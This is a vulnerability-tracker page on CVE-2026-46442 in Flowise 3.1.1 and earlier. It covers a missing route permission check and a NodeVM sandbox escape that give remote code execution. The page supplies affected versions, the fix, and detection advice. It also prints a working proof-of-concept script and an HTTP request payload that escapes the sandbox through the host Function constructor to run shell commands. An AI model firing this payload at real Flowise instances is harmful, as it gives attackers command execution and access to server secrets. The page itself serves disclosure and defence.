NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2026-46442: FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape

criticalCVSS 4.0 9.4GHSA-9rvc-vf7m-pgm2

Flowise 3.1.1 and earlier let any logged-in user or API key holder run JavaScript on the server through POST /api/v1/node-custom-function. Without an E2B_APIKEY the code runs in a NodeVM sandbox that can be escaped, which gives remote code execution as the Flowise process. Fixed in flowise 3.1.2.

Published May 14, 2026 · Updated Jun 9, 2026 · Analysis Oct 27, 2026

What an attacker can do

Two flaws combine. First, packages/server/src/routes/node-custom-functions/index.ts registers the route with no permission middleware, unlike the chatflow routes, which use checkAnyPermission. Global authentication still applies, so a valid session or any API key is enough. Second, the request body field javascriptFunction flows to executeJavaScriptCode in packages/components/src/utils.ts. That function uses the external E2B sandbox only when E2B_APIKEY is set. Otherwise it silently falls back to NodeVM.

The researcher's payload throws an Error whose name is a null-prototype object. The resulting error comes from the host realm, so e.constructor.constructor returns the host Function constructor. That reaches process.getBuiltinModule('child_process') and execSync. The proof of concept returned the output of id from the host.

An attacker needs only a low-privilege account or a standard API key. They get commands as the Flowise user, its environment variables and secrets, the file system, and outbound network access. Most self-hosted instances do not set E2B_APIKEY, so most are affected. The EPSS score is high for this entry.

Who is affected

The npm package flowise at 3.1.1 and earlier. Instances without E2B_APIKEY set are the practical default and fully exposed. Check the version:

npm ls flowise

For Docker, check the image tag you run. Also check whether E2B_APIKEY is set in your environment, and who holds API keys.

flowise

Ecosystem
npm
Affected
<= 3.1.1
Fixed in
3.1.2
Check
npm ls flowise

How to fix it

Upgrade to flowise 3.1.2:

npm install -g [email protected]

The 3.1.2 release notes list a change titled "Silent fallback to vm2 for sandbox execution" and several access-control fixes. They do not name this CVE, so verify behaviour after upgrading. The advisory recommends permission checks on the route, failing closed when E2B_APIKEY is absent, and keeping this endpoint away from generic API keys. Until you upgrade, limit who has accounts and API keys, and keep Flowise off untrusted networks.

How to tell if you were hit

Search web server or reverse proxy logs for POST /api/v1/node-custom-function, especially from accounts or keys that do not build flows. Look in the request bodies for e.constructor.constructor, getBuiltinModule, child_process or execSync. On the host, check for child processes of the Flowise node process such as sh, id, curl or wget, and for unexpected outbound connections. If you find hits, rotate every secret in the Flowise environment.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

// packages/server/src/routes/chatflows/index.ts
router.post(
  '/',
  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
  chatflowsController.saveChatflow
)

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function
  → packages/server/src/controllers/nodes/index.ts
  → packages/server/src/utils/executeCustomNodeFunction.ts
  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
    executeJavaScriptCode(javascriptFunction, sandbox)
  → packages/components/src/utils.ts
    if !process.env.E2B_APIKEY → NodeVM fallback
  → [SINK] host process / child_process

packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:

const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2B_APIKEY unset):

// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
  return cp.execSync('id').toString().trim();
});
`;

(async () => {
  const node = new CustomFunction();
  const result = await node.init(
    { inputs: { javascriptFunction: attackCode } },
    '',
    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
  );
  console.log('[RCE OUTPUT]', result);
})();

Confirmed output:

[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...

HTTP trigger (requires a valid API key or session):

POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json

{
  "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}

Impact

Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.

The NodeVM fallback is the default for any deployment without E2B_APIKEY configured, which covers the majority of self-hosted instances.

Recommended remediation:

  1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern.
  2. Fail closed if E2B_APIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution.
  3. Restrict this endpoint from generic API key access.

Credited to ESPanda666.

Questions

Is CVE-2026-46442 exploitable without logging in?

No. The global /api/v1 authentication still applies. But any valid session or any API key reaches the endpoint, since the route has no permission check of its own.

Does setting E2B_APIKEY protect me?

The advisory says code runs in the external E2B sandbox when it is set, and falls back to the escapable NodeVM only when it is absent. The route still lacks permission checks, so upgrade anyway.

Which version is fixed?

flowise 3.1.2. Versions up to and including 3.1.1 are affected.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries